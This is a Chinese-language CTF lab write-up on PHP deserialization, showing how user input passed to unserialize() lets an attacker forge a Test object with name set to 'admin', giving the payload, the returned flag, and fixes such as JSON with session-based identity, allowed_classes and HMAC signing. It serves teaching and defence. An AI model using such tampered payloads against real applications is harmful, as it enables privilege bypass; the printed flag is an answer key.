【好靶场】PHP反序列化入门练习

【好靶场】PHP反序列化入门练习

【好靶场】PHP反序列化入门练习

本文仅用于授权靶场、CTF 练习和本地安全学习。

前言

PHP 反序列化漏洞并不一定都会导致命令执行。

在最基础的题型中,攻击者可能只需要修改序列化对象中的某个属性,就可以改变程序原本的业务逻辑,例如:

  • 修改用户名;
  • 修改用户角色;
  • 修改权限标识;
  • 修改身份认证状态;
  • 绕过服务端的条件判断。

本题就是一道典型的 PHP 反序列化属性篡改题。

服务端接收用户提交的序列化字符串,通过 unserialize() 还原成 Test 对象,然后判断对象的 name 属性是否等于 admin

由于 namepublic 公有属性,攻击者可以直接构造一个新的序列化对象,将:

php 复制代码
$name = "test";

修改为:

php 复制代码
$name = "admin";

从而绕过程序判断并获得 flag。

本题不涉及:

  • __wakeup() 利用;
  • __destruct() 命令执行;
  • POP 链;
  • 文件读取;
  • 远程代码执行。

本题的核心考点只有一个:

利用用户可控的序列化数据修改对象属性,绕过业务逻辑判断。


1. serialize():序列化

serialize() 是 PHP 提供的序列化函数,可以将数组、对象等数据结构转换为具有固定格式的字符串。

示例代码:

php 复制代码
<?php
$arr = ['one', 'two'];

echo serialize($arr);

输出结果:

text 复制代码
a:2:{i:0;s:3:"one";i:1;s:3:"two";}

其中:

标识 含义
a Array,数组
2 数组包含 2 个元素
i Integer,整数
s String,字符串

2. unserialize():反序列化

unserialize() 用于将序列化字符串还原成原始数据结构。

示例代码:

php 复制代码
<?php
$data = 'a:2:{i:0;s:3:"one";i:1;s:3:"two";}';

$result = unserialize($data);

print_r($result);

输出结果:

text 复制代码
Array
(
    [0] => one
    [1] => two
)

如果序列化字符串中包含对象,unserialize() 还可能还原出对应的 PHP 对象。

例如:

text 复制代码
O:4:"Test":2:{...}

表示还原一个名为 Test 的对象。

需要注意:

如果 unserialize() 接收的字符串完全由用户控制,攻击者就可能伪造对象或修改对象属性。


3. 常见序列化标识

PHP 序列化字符串中常见的类型标识如下:

标识 含义 示例
O Object,对象 O:4:"Test":...
a Array,数组 a:2:{...}
s String,字符串 s:5:"admin"
i Integer,整数 i:18
b Boolean,布尔值 b:1
N NULL N;

对象的基本格式为:

text 复制代码
O:类名长度:"类名":属性数量:{属性键值对}

例如:

text 复制代码
O:4:"Test":2:{...}

含义如下:

  • O:表示对象;
  • 4:类名 Test 的长度为 4;
  • "Test":类名;
  • 2:对象包含 2 个属性。

4. 字符串长度必须准确

字符串的格式为:

text 复制代码
s:字节长度:"字符串内容"

例如:

text 复制代码
s:4:"test"
s:5:"admin"

其中:

  • test 有 4 个字节;
  • admin 有 5 个字节。

正确示例:

text 复制代码
s:5:"admin"

错误示例:

text 复制代码
s:4:"admin"

长度声明错误时,unserialize() 可能解析失败并返回 false,从而导致 Payload 无法正常使用。

注意:PHP 序列化计算的是字节长度,而不是简单的中文字符数量。纯英文字符通常是单字节,但中文字符在 UTF-8 编码下通常占用多个字节。


5. public 属性的序列化规则

本题中的属性都是 public 公有属性。

php 复制代码
class Test {
    public $name = "test";
    public $age = 18;
}

序列化后,属性名会直接使用原始名称:

text 复制代码
s:4:"name"
s:3:"age"

如果属性是 protectedprivate,序列化后的属性名会包含不可见的空字节和作用域信息,手工构造时更容易出错。

例如:

  • protected 属性通常包含 \0*\0
  • private 属性通常包含 \0类名\0

本题使用的是 public 属性,因此 Payload 构造比较简单。


一、题目源码审计与利用思路

靶场给出的核心代码如下:

php 复制代码
<?php
class Test {
    public $name = "test";
    public $age = 18;

    public function __construct() {}
    public function __destruct() {}
}

$data = $_POST['data'] ?? '';
$obj = unserialize($data);

if ($obj instanceof Test && $obj->name === 'admin') {
    echo 'flag';
} else {
    echo 'try again';
}

其中最关键的代码是:

php 复制代码
$data = $_POST['data'] ?? '';
$obj = unserialize($data);

$data 来自用户提交的请求参数,服务端没有验证数据是否由服务器生成,就直接将其传入 unserialize()

随后,程序使用反序列化对象中的属性进行判断:

php 复制代码
$obj->name === 'admin'

这就产生了属性篡改风险。

攻击者不需要修改服务端代码,只需要构造一个满足条件的 Test 对象:

php 复制代码
$obj->name = 'admin';

即可通过判断。


二、魔术方法在本题中的作用

源码中定义了两个魔术方法:

php 复制代码
public function __construct() {}
public function __destruct() {}

但这两个方法在本题中都不是实际利用点。

1. __construct()

__construct() 是构造方法,通常在执行:

php 复制代码
new Test();

时调用。

但是,unserialize() 在还原对象时通常不会重新调用 __construct()

因此,本题的利用并不是通过构造方法实现的。

2. __destruct()

__destruct() 是析构方法,在对象销毁时调用。

本题虽然定义了析构方法,但方法体为空:

php 复制代码
public function __destruct() {}

它没有执行文件操作、命令执行或其他危险行为,因此不会产生 RCE。

本题与后续命令执行题的区别如下:

题目 利用方式 最终影响
本题 修改 public 属性 name 业务逻辑绕过
练习 2 修改属性并触发 __destruct() 命令执行或文件读取

三、利用思路

本题的完整利用流程如下:

text 复制代码
找到 Test 类
        ↓
确认 name 是 public 属性
        ↓
找到服务端判断条件 name === "admin"
        ↓
将 name 的值从 test 修改为 admin
        ↓
重新生成序列化 Payload
        ↓
提交 Payload
        ↓
服务端 unserialize() 还原对象
        ↓
绕过业务判断,获取 flag

原始对象属性为:

php 复制代码
$name = "test";
$age = 18;

目标对象属性为:

php 复制代码
$name = "admin";
$age = 18;

因此,只需要修改 name 属性对应的序列化内容。


四、Payload 构造

1. 使用 PHP 自动生成 Payload

推荐使用 PHP 的 serialize() 函数生成 Payload,避免手动计算长度时出错。

php 复制代码
<?php
class Test {
    public $name = 'test';
    public $age = 18;
}

$obj = new Test();

// 修改对象属性
$obj->name = 'admin';

// 生成序列化字符串
$payload = serialize($obj);

echo $payload . PHP_EOL;

// 本地验证
$result = unserialize($payload);

if ($result instanceof Test && $result->name === 'admin') {
    echo "Payload verification passed" . PHP_EOL;
}

运行输出:

text 复制代码
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}
Payload verification passed

2. 最终 Payload

text 复制代码
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}

将完整Payload填入靶场输入框提交:

text 复制代码
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}

靶场后台执行流程:

text 复制代码
接收前端传入的序列化Payload
    ↓
unserialize() 还原得到篡改后的 Test 对象
    ↓
校验 $name 是否等于 admin
    ↓
校验通过,返回 flag

提交成功后靶场返回flag:

text 复制代码
flag{71cd84f4602749ad8ec895d14efc2f08}

五、Payload 分段解析

完整 Payload:

text 复制代码
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}

分段分析如下:

Payload 片段 含义
O 表示对象 Object
4:"Test" 类名为 Test,长度为 4
2 对象包含 2 个属性
s:4:"name" 属性名为 name,长度为 4
s:5:"admin" 属性值为 admin,长度为 5
s:3:"age" 属性名为 age,长度为 3
i:18 属性值为整数 18

原始序列化字符串中的相关片段为:

text 复制代码
s:4:"name";s:4:"test";

修改后变成:

text 复制代码
s:4:"name";s:5:"admin";

这里有两个地方需要注意:

  1. test 的长度是 4;
  2. admin 的长度是 5。

如果只修改字符串内容,不修改长度:

text 复制代码
s:4:"admin"

就可能导致反序列化失败。


六、漏洞原理分析

本题的漏洞类型可以概括为:

用户可控反序列化数据导致对象属性篡改,最终造成业务逻辑绕过。

漏洞链路如下:

text 复制代码
用户可控输入
        ↓
直接调用 unserialize()
        ↓
还原攻击者构造的 Test 对象
        ↓
对象 public 属性可被任意修改
        ↓
服务端信任对象属性进行业务判断
        ↓
绕过原有逻辑

本题中,服务端错误地认为:

php 复制代码
$obj->name

是可信数据。

实际上,这个值来自用户提交的序列化字符串,因此攻击者可以将其设置为任意值。

需要注意的是,本题没有危险的魔术方法调用,所以它不会直接造成命令执行。

但是在真实应用中,如果服务端将以下属性直接交给用户控制:

php 复制代码
$is_admin
$role
$user_id
$is_verified

就可能导致:

  • 越权访问;
  • 管理员权限绕过;
  • 用户身份伪造;
  • 业务流程绕过;
  • 敏感功能未授权调用。

因此,属性篡改虽然是最基础的反序列化问题,但仍然具有现实安全意义。


七、漏洞根源与工程级修复方案

方案一:不要对用户输入使用 unserialize()

最推荐的方案是:不要将用户可控数据直接传入 unserialize()

如果只是传输普通数据,可以使用 JSON:

php 复制代码
<?php
$input = $_POST['data'] ?? '';
$data = json_decode($input, true);

if (!is_array($data)) {
    exit('非法参数');
}

$name = $data['name'] ?? '';

if (!is_string($name)) {
    exit('参数类型错误');
}

但是,仅仅把序列化格式换成 JSON 并不代表可以信任客户端提交的权限字段。

例如,以下逻辑仍然不安全:

php 复制代码
if ($data['name'] === 'admin') {
    echo 'flag';
}

因为攻击者仍然可以提交:

json 复制代码
{
  "name": "admin"
}

正确做法是从服务端可信数据源获取身份信息:

php 复制代码
<?php
$userId = $_SESSION['user_id'] ?? null;

if ($userId === null) {
    exit('请先登录');
}

$user = loadUserFromDatabase($userId);

if ($user['role'] === 'admin') {
    echo 'authorized';
}

核心原则是:

客户端只能提交业务参数,不能决定自己的身份和权限。


方案二:必须使用序列化时,限制反序列化范围

如果由于历史原因必须保留序列化机制,可以限制允许反序列化的类:

php 复制代码
<?php
$data = $_POST['data'] ?? '';

$obj = unserialize($data, [
    'allowed_classes' => ['Test']
]);

if (!$obj instanceof Test) {
    exit('非法对象');
}

不过需要特别说明:

allowed_classes 只能限制允许实例化哪些类,不能防止允许类的公有属性被篡改。

对于本题来说,攻击者提交的本来就是 Test 对象,因此:

php 复制代码
'allowed_classes' => ['Test']

并不能阻止:

php 复制代码
$obj->name = 'admin';

所以,类白名单只能作为缓解措施,不能单独修复本题的业务逻辑漏洞。


方案三:使用 HMAC 防止序列化数据被篡改

如果序列化数据由服务端生成并需要在客户端传输,可以使用 HMAC 对数据进行完整性校验。

php 复制代码
<?php
$data = $_POST['data'] ?? '';
$sign = $_POST['sign'] ?? '';

$secret = $_ENV['SERIALIZE_SECRET'] ?? '';

$expectedSign = hash_hmac(
    'sha256',
    $data,
    $secret
);

if (!hash_equals($expectedSign, $sign)) {
    exit('数据校验失败');
}

$obj = unserialize($data, [
    'allowed_classes' => ['Test']
]);

if (!$obj instanceof Test) {
    exit('非法对象');
}

服务端生成数据时计算签名:

php 复制代码
$sign = hash_hmac('sha256', $data, $secret);

客户端修改 $data 后,由于没有服务端密钥,无法生成正确的签名,服务端会在反序列化之前拒绝请求。

使用 HMAC 时需要注意:

  1. 密钥必须保存在服务端;
  2. 不能将密钥写入前端代码;
  3. 必须先验签,再进行反序列化;
  4. 使用 hash_equals() 进行安全比较;
  5. HMAC 只能防止数据被篡改,不能替代对象安全设计。

总结

本题的解题过程可以概括为:

text 复制代码
找到 Test 类
        ↓
确认 name 是 public 属性
        ↓
找到服务端判断条件 name === "admin"
        ↓
将 test 修改为 admin
        ↓
同步修改字符串长度 4 → 5
        ↓
提交序列化 Payload
        ↓
绕过业务判断并获得 flag

最终 Payload:

text 复制代码
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}

本题虽然没有涉及命令执行或复杂 POP 链,但它体现了 PHP 反序列化漏洞最基础的风险:

当服务端信任用户可控的序列化对象时,攻击者可能通过修改对象属性改变程序状态,进而绕过原有业务逻辑。

后续更复杂的 PHP 反序列化漏洞,本质上仍然是在这个基础上继续寻找:

text 复制代码
可控对象属性
        +
自动触发的魔术方法
        +
危险函数或敏感操作

因此,掌握本题中的对象属性篡改,是学习 PHP 反序列化 POP 链和命令执行漏洞的重要基础。

相关推荐
2601_965798472 小时前
How to Build a Scalable Classified Directory with Classima Theme
php·theme
何以解忧,唯有..2 小时前
Python logging 模块:从入门到精通
python·microsoft·php
quantdash_cc2 小时前
历史数据断层与REST请求慢到崩溃?QuantDash高性能量化数据API终极解决方案
开发语言·python·缓存·php·量化·quantdash
山甫aa2 小时前
JavaWeb后端开发学习手册
java·开发语言·数据库·学习·mysql·springboot·web
IT大白鼠3 小时前
Kubernetes Goat:云原生安全靶场实践指南
安全·云原生·kubernetes
zlinear数据采集卡3 小时前
数据采集卡从入门到精通(42):项目实战三——设备预测性维护系统,从布点到预警
开发语言·单片机·嵌入式硬件·安全·fpga开发
sbjdhjd3 小时前
CTF 技术复盘:从参数类型绕过到正则回溯 | Merry Christmas PHP CTF(gift.php & gift_plus.php)
安全·网络安全·云计算·php·ctf·红队·网络攻防
Sagittarius_A*3 小时前
【好靶场】PHP反序列化入门练习2
开发语言·web安全·信息安全·php·代码审计·反序列化
网络设计ensp3 小时前
商超网络设计
网络·学习·安全·智能路由器·ensp·华为网络设计